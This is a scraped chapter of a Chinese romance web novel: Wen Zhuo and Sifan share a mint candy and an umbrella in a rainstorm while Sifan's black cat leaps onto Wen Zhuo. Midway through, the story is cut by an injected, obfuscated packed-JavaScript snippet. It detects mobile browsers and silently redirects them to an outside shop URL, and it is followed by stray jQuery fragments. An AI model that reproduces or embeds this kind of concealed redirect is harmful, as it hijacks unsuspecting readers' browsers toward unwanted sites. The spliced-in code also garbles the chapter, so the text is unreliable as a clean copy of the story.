30.凭什么啊
作品:《小可怜女装网恋实录》 少年喉间泄出一声委屈的低唤,似哭非哭。
就像是青年当真不顾一切,在幕天席地下狂性大发,对他做出什么越过雷池的坏事。
但闻濯只是用手笼罩他的指尖而已。
此时此刻,算上昨日在康乐大酒楼的戏剧性相遇,游司梵不过是与闻濯第二次见面。
才第二次见面……闻濯就突破正常且疏离的社交范围,近乎强迫般桎梏游司梵的手。。
没有亵渎的玩弄,却无比亲昵,与暧昧仅仅一线之隔,善意和欲念的界限模糊不清。
暴雨阻隔一切纷繁的视线,灰暗的色调里,街道沉浸于连绵不断的水流,建筑轮廓朦朦胧胧。
避雨廊有翘起的檐角,雨滴从分散化作汇集,珠帘一般并排坠下,在空旷的天地间独独辟出一处隐秘的幽静。
滴答,滴答……
水滴降落之时,少年与青年十指紧紧交缠。
游司梵觉得指尖肌肤仿佛被闻濯赋予别样的含义,他一天24小时,接触诸多事物,都不会因为触感而崩溃。
他的手历尽千帆,是最不敏感的肌肤,它惯于触碰与被触碰,熟悉寻常的材质和行为。
但源自于闻濯的热烈和柔软,完全超出游司梵贫瘠的想象。
仅仅是最为简单的动作,闻濯便能勾起游司梵酥麻至尾椎的战栗。
然而他没有退路,无处可逃。
“很难受?”他们靠的很近,闻濯的吐字仿佛直接在耳畔响起,唇齿间灼热的气息沾上雨的冷冽,是试探,也是诱惑,“为什么要哭。”
闻濯言语彬彬有礼,不疾不徐地关切,张弛有度,手上动作却迥异,缓慢而坚定地挤入少年脆弱柔软的指缝。
让游司梵再也不能逃避,蜷缩掌心。
“不是……我只是……”游司梵声线是颤抖的,“很,很痒……”
握手是礼节性的沟通动作,但显而易见,闻濯对游司梵所做的,并不属于浅尝辄止的表面礼貌。
青年恒定的温度传来,指腹的茧子摩挲游司梵细嫩的指背,像对待一块需要雕琢的玉,触感粗砺又柔和,不可言说的酥痒再次铺遍游司梵手掌每一处神经末梢。
掌纹。微微湿润的汗意。不经意掠过的指骨与甲面。
在这个瞬间,他们彼此交换自己的体温。
如同在遗忘的时间里,做过几万次般熟稔。
然而一切逾越,也仅限于此。
闻濯的身躯始终在几步之外,只有一只越过社交界线的手,带着晦暗难言的冲动,攥握游司梵懵懂直白的破绽。
他为闻濯奉上纸币,却忘记提防可能存在的觊觎。
上一次与人如此亲近,双手交握,还是游兰尚在人世之时。
“司梵,你现在怎么这么别扭啦?不愿意让妈妈亲亲小脸,也不愿意和妈妈拉手,”记忆中的女人故意板起脸,一本正经,但谁都能看出来,她根本没有生气,“是长大了,有自己的考量吗?之前你8岁,和小濯手拉手做好朋友的时候,怎么就不害羞呢?”
是啊,为什么呢?
为什么他不抗拒眼前这个陌生人的逾矩,没有害怕,没有惊惶,唯有酥麻和羞涩?
哪怕他不知晓陌生人的名姓与来历,哪怕对方身形比他高出一大截,简简单单就能用体格压制瘦弱单薄的他。
猎人毫不掩饰他的危险,紧贴他的指尖,游司梵却似莽撞懵懂的猎物,甘愿撞入陷阱。
被触碰的指尖变作游司梵的动脉,自投罗网般贴上闻濯充满威胁的桎梏。
战栗又缠绵。
雨声繁杂,噼里啪啦的动静好似游司梵纷乱异常的心脏。
他不顾直觉疯狂尖叫的警示,肾上腺素飙升,无可救药地,选择信任眼前这位冷淡却炽热,紧紧禁锢他掌心的男人。
闻濯没有放松过对他的力道。
“好痒……”
游司梵道出一句自己也说不清是抱怨还是撒娇的嘟囔。
他看着被雨水溅成深棕色的木地板,耳尖通红。
“可是你一直不抬头,真的只是因为痒,而不是害怕我?”闻濯又上前一步,深色的皮面鞋尖进入游司梵视线,如他的人一般,强势而充满压迫感,“如果你很害怕,抱歉。”
游司梵的手被抬起,一股轻柔而渐进的力道牵引他的动作。
他们好似宴会里共舞华尔兹的伴侣,十指相扣,于连绵雨声中摆出起舞的前奏姿势。
无声的指引与安排下,游司梵在逐渐接近闻濯。
无色无形的冷香先主人一步,抚慰有些慌张的少年。
游司梵不明所以,但还是像鹌鹑一样不敢抬头:“怎么了……”
回答他的是一声轻笑。
游司梵只感觉到略显僵硬的指尖被轻轻分开,沁出细密热汗的掌心不过接触雨汽短短一瞬,很快又被一颗无甚重量的物体夺去触觉。
那像是一颗糖果。
“这是我的赔罪和歉礼。”
闻濯的嗓音低沉悦耳,像唱诵一首遥远的古老诗歌,在某个不经意的刹那,游司梵甚至觉得自己在哪里听过他的言语。
内容相差不远,同样是在道歉。
然而游司梵没有机会深思,闻濯笼罩他的指尖,已经开始带领他攥紧这颗圆润的糖。
塑料外包装,质感很普通,是经常看见和触碰的材质。
它两侧边缘有细密的锯齿,像草丛隐藏的小刺,不是荆棘,没有很明显的恶意,只是在逗弄人类一般,微微划过游司梵敏感至极的掌肉。
那些平日为了方便撕开而设计的锯齿,如今骤然成为引爆炸弹的导火索。
游司梵脑海内“轰——”的一声,炸开一片绚烂纷繁的烟花。
闻濯并未对他施加的刺激,此刻尽数现于糖果包装之上。
糖仿若成为闻濯意志的延伸,与其内外夹击,双管齐下。
但游司梵刚才无处可避,现在亦是如此。
青年干燥温热的大掌笼罩他的手背,犹如巨龙圈起最最珍视的宝藏,一寸一寸,逐渐收束,半强迫般引领他握紧那颗令人癫狂的糖。
坚硬又柔软的锯齿。刺痛细密难耐。比自己体温更高,带有薄茧的宽大手掌。
游司梵隔着外包装,感受到糖体的形状与体积。
圆形。中心处微微陷下去。直径约莫一厘米,不大也不小。
它隐蔽于游司梵与闻濯的交握之中,像一粒被藏在手心的宝石。
闻濯亲自赠予他的。
听着塑料外膜清脆而响亮的折叠声,游司梵莫名兴奋起来。
血液流速从未变慢,一直于体内高速运转,过于频繁的循环大大加深他对外界的感触。
闻濯的力道在变化。
很微弱,但游司梵敏锐地捕捉蛛丝马迹。
青年把控游司梵的动作,而现在,他的重心更改,移至游司梵指骨外侧。
撕喇——!
仿若应召呼唤一般,糖纸被撕开的一霎,游司梵心弦颤动,昂起低下太久的头颅,蓦然对上闻濯含笑的墨色眼瞳。
“好了。”他一手执伞,一手笼罩游司梵的指尖,把撕好的糖递至少年微张的唇齿前,“吃吧。”
游司梵愣愣地点头,重新低下面庞,拉下口罩,探出一丁点舌尖,本能般依言而动,乖巧卷走那粒翠绿的薄荷糖。
红艳艳的舌湿润又柔软,却不慎蹭过闻濯弓起的拳峰,恰好碰上那些经年累月的茧。
一瞬即逝。
闻濯喉结滚动,眼神刹那幽暗,松开握住游司梵的手。
以他的角度,游司梵两侧垂落的鬓发半遮半掩,浓密似小扇的眼睫低敛,那张小巧白皙的面容在其中若隐若现。
闻濯看不清游司梵的完整长相,也看不见任何一丝名为故意的做作和卖弄。
少年只是听从他的指令,吃下他们一齐撕开的糖。
仅此而已。
暴雨铺天盖地,没有减弱分毫,一些细微动静被淹没,待游司梵戴好口罩,含着薄荷糖又一次抬起脑袋,便见闻濯垂下眼帘,单手整理口罩上方的鼻梁条。
“嗯?”
游司梵略显茫然地歪歪头,舌尖抵上口腔内侧的糖。
很甜,很清凉,像雨汽一样,形状与他触摸时一模一样,圆润可爱。
但是……闻濯怎么好像也吃了什么的样子?
“糖纸给我。”闻濯看他一眼,眸中原本盎然的笑意变淡,情绪深沉,晦暗难懂,语气又退回不冷不热的疏离,似乎在克制什么,“我一道拿去丢。”
青年伸来接糖纸的掌心,赫然躺着另一块被撕碎的包装。
游司梵恍然大悟:“你也在吃糖!”
“咦,我们包装和糖纸都一样,你也是吃薄荷味啊?唔……这个品牌的糖确实还挺好吃。”
他把自己的糖纸递过去,口罩之下,唇角高高扬起,闻濯可以从他眯起的眼尾判断笑容的高低弧度。
这是一个无人目视,却灿烂至极的微笑。
游司梵宛若一只吃到小鱼干的猫咪,餍足而狡黠。
“多谢你呀。”
闻濯默然几秒,才道:“嗯。”
他一并收起糖纸,再没有片刻前强势而暧昧的举动,规规矩矩,往避雨廊另一侧的废纸篓走去。
背影竟透出几分莫名其妙的无可奈何。
游司梵撑起脸,黑猫已经吃完一半的猫条半掉不掉,逗猫似的晃荡在脸侧。
黑猫舔完毛洗完脸,干干净净,俨然又成一位端庄大小姐,看见猫条一动,顿时精神抖擞,探出爪子就开始挠。
游司梵难得敷衍,仅仅是糊弄般抚摸它油光水滑的背,视线则一直黏在闻濯身上。
虽然不知道为什么那人突然冷下脸,又变回拒人千里的高冷样子,连吃颗糖都遮遮掩掩,不叫游司梵看见他摘下口罩的瞬间。
呵,小气鬼。游司梵鼻端哼出一声气音。但那人不开心,他就很快乐。
一种幼稚的胜负欲。
“那边雨好大呀——你快回来吧。”他特意拉长尾调,懒洋洋地呼唤闻濯,“我和小咪不待在那边是有原因的。”
“那侧近玄关,靠门,进进出出,我容易打扰别人,别人也容易吓到我,你看这边多好,还个石墩可以蹲着,没有人会影响我和猫交流感情。”
话至此处,游司梵瞥闻濯一眼。
青年已然折返,像一位跨越山水书卷的文人墨客,面色冷然似玉,淡淡朝游司梵走来。
“哦,除了你。每个路过想躲雨的人都已经被我劝进书咖,只有你……哼。”指尖犹然残余闻濯缱绻的热温,而今主人又重新回归自己身边,冷香再次悄然充斥空气,游司梵面上一热,指责的话语不由自主,渐渐弱下去,“不撞南墙不回头,一定要过来我身边。”
“喵呜!”
黑猫终于碰到猫条,肉垫却好像触到什么脏东西,神经质般将塑料外装一把挥开。
游司梵不管事实如何,只当有人附和他:“你看,连小咪也认同我的观点。”
这大话一出口,游司梵已经设想好闻濯反驳的画面。
在他脑海演练的预案里,只要闻濯透露出半点不赞同和疑惑,他就……
“喵!喵喵喵!”
不料人算不如天算,变故横生。
黑猫大叫,一巴掌又刮过去,正正打上猫条宣传语中心。
“挚爱”二字被来自猫的大耳刮子拍得下凹。
像是专门瞅准时机,狠狠打饲养员准备纵横捭阖的脸。
游司梵:“……”
游司梵无奈搓揉猫脑壳,完全没空留意闻濯走至自己身侧的行为。
除去偷猫和强制性给糖的恶行,闻濯实在太像一位端庄自持的君子。
游司梵实际上完全不设防。
直觉警示他,闻濯很危险,但记忆和触觉也告诉他,也许你曾经……见过这个人。
并且彼此相当熟悉。
也许就在某个陈旧的街角。在一座破落枯萎的花坛前。
拉手。拥抱。谈论今日有趣的见闻。交换自己最喜欢的小零食。
谁会愿意警惕最信任的人?
反正游司梵绝对不会。
但他没想到,闻濯没有再顾及社交时应当保持的合适距离,而是长驱直入,直接站至他身侧。
离石墩不到二十公分。
这个极其贴近的距离,足够让闻濯展开臂膀,无须经过允许和同意,便完全拥抱他。
尚且深陷哄猫困境的游司梵无知无觉:“怎么在生气啊?”
“不喜欢这个口味的猫条?”游司梵眉心微蹙,观察黑猫看不出神情的猫猫脸,“还是它开封有点久,没有第一时间吃完,你就生气了?”
游司梵视线来回搜寻,终于在猫爪爪边上发现一撮微湿的绒毛。
他灵光一闪,感觉自己火眼金睛,看破黑猫不高兴的小心思。
“原来是因为我的怀抱和保护不严实,雨又太大,不小心淋湿你的毛吗?……”
“对,这侧的雨确实很大。”
一道冷冽男音响起,打断游司梵的推论。
碎碎念的呢喃霎时静下,闻濯理性而富有条理的叙述回荡在游司梵身边。
“最初我过来,是因为看见你短裤有点湿,想提醒一下,避雨廊并不是一处绝佳的躲雨地点,你这样淋雨恐怕会感冒。”闻濯面色淡然,执伞的手倾向游司梵,相当自然,鸦羽似的长睫无波无澜,没有颤动半分,但谁也看不见他微微泛红的耳根,“你说的很对,是我不撞南墙不回头,明知你可能会觉得冒犯,但我还是想试试,抱歉。”
黑猫停下爪子攻势,游司梵讶然侧首,看向近在咫尺的闻濯。
青年一向挺拔的脊背稍稍躬下,不过是谈论几句话的盏茶时间而已,他肩头衣料已然被作乱的雨打湿,隐约透出轮廓分明的肌肉。
他将三分之二的伞侧向游司梵,为少年和他的黑猫遮风挡雨,在仿若淹没整个世界的暴雨中不再顾及自己,辟出真正的桃源。
游司梵呼吸一窒。
比起狂风暴雨,闻濯的眼眸更似令人一去不复返的深渊。
足以撕碎他未经世事的魂灵。
“——请问,我可以为你撑伞,遮挡那些无法预测的雨滴吗?”
他愿意吗?
游司梵忘记了。
他不知道自己最后回答了什么,但大抵是同意的,或者是默认。
当他回过神,黑猫已经收敛脾气,又做回矜持大小姐,就着饲养员的姿势,继续舔舐猫条。
而游司梵自己则待在伞下,舌面无意识地卷吃那颗薄荷糖。
冷香一如既往,萦绕在这方小小天地,伞面之下,全然是闻濯特有的气息。
他甚至不用故意确认,转头去看,就能知晓闻濯还在身侧,没有食言离去。
他还在为他撑伞。
咔嚓。
游司梵齿关一合,咬碎糖体的一角。
仿佛是一个意味着清醒的信号,街对面的霓虹灯牌闪闪烁烁,色彩冲破雨幕的隔阂,直白坦诚地现于游司梵眼前。
雨声依旧淋漓,天气预报说的“雨势将会逐渐变小”仿佛成为谎言。
哗啦——
水珠从天际的雨云落下,又在柏油路面粉身碎骨,轰轰烈烈的嘈杂纷繁且复杂,但游司梵就是觉得世界极其安静。
喧嚣的静谧里,他和闻濯一高一低,一站一蹲,共撑一把伞,唇齿同时品尝两粒大小一致、味道相同的糖。
好奇妙啊。
游司梵笑了:“哎。”
他没有直接呼唤闻濯的名字,没有用“你”,而是含糊而过,轻轻唤一声。
他们没有交换名姓,只是见过两面的陌路人,并不存在知根知底的必要。
或者说是,曾经十指交缠的“陌路人”。
果然,闻濯知道游司梵在叫他。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13151587|130940||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“嗯。”闻濯应道。
这个单独的字音凭空现于游司梵斜右上方,利落又短促,踩着雨水汇聚的轨迹,一齐融入路面涓涓的暴雨流水。
“其实……”游司梵目视前方,看着雨水奔涌,陆上河流逐渐形成,“我刚才说谎了,你昨天给我的毛毯……还没洗。”
最后三个字压得很低,狗狗祟祟,像要告诉闻濯真相,又像在害怕闻濯当真听清楚事实。
相当矛盾。
闻濯微微勾起唇角:“嗯。”
没有指责,没有翻脸,没有反问“你说什么?我怎么没听清楚?”,伞还好端端地挡于头顶,角度分毫未改。
试探过关!
“至于拿猫条当租金这事,呃!真的,真的不是想敷衍你,是不小心拿错,”游司梵有些懊恼,话语逐渐放开,忽略怀中黑猫左拧右拧的躁动,“十块钱其实也是应急,我都没想过你会承认……但你怎么真的答应了?”
“可能因为我是个好人?喜欢路见不平,拔刀相助。”闻濯轻笑一声。
游司梵怀中,黑猫耳尖前后弹动一瞬。
闻濯甚至戏谑地为游司梵递去台阶,不至于把人架起,又一次下不来台。
“……”游司梵无语凝噎,狠狠剐闻濯一记眼刀,想用眼神吓退这脸皮比城墙还厚的人,“嗯!对!好人!”
“是坑蒙拐骗,专门偷走小猫的好人!”游司梵言语带出几分真切的怒意,但还是装模作样的恐吓居多,“要不是看在你后续表现尚可的份上,我根本不会原谅……”
“……咪呜!”
游司梵单方面向闻濯宣战之时,黑猫一跃而起,彻底跳离饲养员怀抱。
这是一个极为漫长的瞬间。
黑猫具有良好的跳跃力,无论是后腿还是前肢,尽管逐日丰盈的脂肪包裹它的肌肉,但它仍然是一只正当壮年,矫健有力的青年猫咪。
黑猫优美而富有力量感的腾越定格于游司梵视线。
它好似草原上尽情奔跑的猎豹,义无反顾,奔向它心灵真正向往之地。
而当时当下,黑猫想要的不是游司梵,而是被饲养员视为卑劣之流的——
——闻濯。
游司梵伤心欲绝。
游司梵目眦欲裂。
游司梵快要妒忌地发疯。
口罩掩盖下,他的唇齿还在吐纳“道歉”二字,口腔已然张开该有的弧度,稍显扁平的音节停留在喉间,将发未发,确保闻濯可以清楚听见他要表达的内容。
但一切显然成为笑话。
他的黑猫没有把小脸对准他,留给他的,唯有后爪粉色的肉垫。
像小小的桃心。
它把饲养员当做跳跃的助力,一撑一蹦,肉垫一触即离,如同临空踹游司梵一脚,去向有着好闻气味的闻濯。
“喵——!”
随着一声字正腔圆的喊叫,纵跃结束,煤气罐罐顺利着陆闻濯惊讶的怀抱。
闻濯要执伞,只有单手能够抱它。
但对于黑猫而言,足矣。
它立马成为新领土的帝王,相当自来熟,爪尖勾上那些异常昂贵的定制衣衫,依次经过胸肌,锁骨,最后“嗖嗖嗖”攀上闻濯肩头。
根本不用人抱,自力更生。
“咪喵!”
它昂首挺胸,居高临下看着游司梵,浑身上下仿佛与黑伞融为一体,唯有湛蓝的瞳孔得意洋洋。
游司梵:“……”
游司梵:“…………”
游司梵:“你,不是,你,你怎么敢……唉!就是看我舍不得骂你!你啊……!”
少年眼眸亮得好似星辰,竟也从石墩一跃而起,不管不顾地扑向闻濯!
难以言喻的混乱就此拉开序幕。
闻濯只来得及抛开长伞,伞骨都还未接触地面,游司梵人就已经到了。
吃到一半的猫条被抛下,不知道凌空丢至哪个水潭,游司梵怒气冲冲,在极为短暂的腾空后,八爪鱼般抱紧闻濯的身躯。
这是他唯一的着陆点。
黑猫好像把闻濯当做猫爬架,一个劲往上蹭,但闻濯又比游司梵高出太多,情急之下,游司梵居然想不出第二个比现在更好的办法。
他下意识忽略让闻濯配合,他们二人一起制伏黑猫的可能性。
开玩笑!有前科的偷猫贼根本不可信!
这人就站那,什么罐头,猫条,身上通通没有,他们嘴里吃的糖一模一样,闻濯顶多就是比自己多出一把伞。
但猫就是铁了心喜欢他!只想和他亲近!
凭什么!
游司梵单手搂紧闻濯的脖颈,双腿夹紧对方紧实有力的腰腹,冲黑猫伸出手,喊道:“没有规矩!我平时怎么教你的,怎么可以这样不懂礼貌?招呼也没打就爬到别人身上去,快下来,跟我回家!”
他的臂膀紧贴闻濯绷紧的颈侧,好像还压到动脉,急促跳动的脉搏一鼓一鼓,将热度和韵律传递至他的心房。
闻濯在紧张。
那段劲瘦的腰腹猝然收紧,却仍旧无法抵御源自少年的柔软攻势。
游司梵只是单纯地抱着他,是,也许他的姿势是有那么一些过分,和一个刚刚交谈不久的陌路人紧密相贴,不留任何缝隙,哪怕以海纳百川的视角来看,也值得一句“非常大胆”“非常open”的称赞。
少年的大腿柔软而坚韧,那些视觉上看似软和的,蹲下时互相挤压而嘟出的腿肉,并不像真正的棉花一样松软。
游司梵的生命力蓬勃而旺盛。
他的肌肉使他有力气夹紧唯一的支撑点,勉强稳定自己的身子,去够那只调皮捣蛋的黑猫。
难受和受罪的,好像唯有闻濯。
青年暗自咬紧牙关,竭力忽略游司梵胡乱挥舞的手臂。
夏天穿的少,衣着清凉,短袖和短裤露肤度高,与之相应的,游司梵每一次和黑猫博弈,都在反复和闻濯肌肤相贴。
尤其是他的衣衫已经被雨水淋得半湿,夹杂体温的蒸腾,全然转作粘稠淋漓的暧昧。
摁着闻濯忍耐的底线摩擦,来回蹦跶。
两个人都衣着齐整,情况却好像糟糕透顶。
闻濯的手极其僵硬,奇奇怪怪地圈成半圆,在游司梵腰间和臀部之间来回徘徊,硬是找不到足够合适的落点。
无论哪里都很冒犯。
背部无法着力,臀尖最好,后腰其次,稳稳托住一个重物的本能,篆刻在人类的基因。
闻濯太明白如何才能保证游司梵不掉下去,但他做不到。
画面有些滑稽,体型单薄的少年挂在青年胸前,青年手足无措,神情难得露出烦躁和踌躇。
二人间竟隐隐僵持起来。
“喵嗷。”
黑猫不听游司梵威胁,甚至优哉游哉,四肢交替,轻而易举地从闻濯左肩绕到右肩,避开游司梵因为生气而落点偏移的手。
游司梵深吸气,大腿绷紧,腰部用力,硬生生凭靠几乎没有的核心力量,把自己往上抬高一截。
他平时缺乏锻炼,能够从石墩跳到闻濯身上,又紧紧缠着不掉下去,已经是在吃跑操时强行练出来的老本。
很快便要消失殆尽的那种,他能感觉到自己的大腿肌肉在颤抖,准备罢工。
“这人到底有什么好的,你非得这么惦记他?他有猫条吗?他有罐罐吗?他什么也没有!他身上只有人类才能吃的糖,这玩意小猫不能吃!”危机感使游司梵更加着急,语速飞快,“你乖,赶紧下来呀!”
暴雨时候的气温总是要较平时低一些,水挤占高温的漫延,万事万物仿佛共同染上来自液体的冷淡意味。
然而今时今日,这一切非得没有降温,反而将游司梵在闻濯颈侧吐纳的气息衬托得更加明显。
灼热的,粘稠的,急促且湿润的。
少年口中道出的每一个字,都像一把温柔刀。
天真又残忍,骤然抵上闻濯岌岌可危的理智。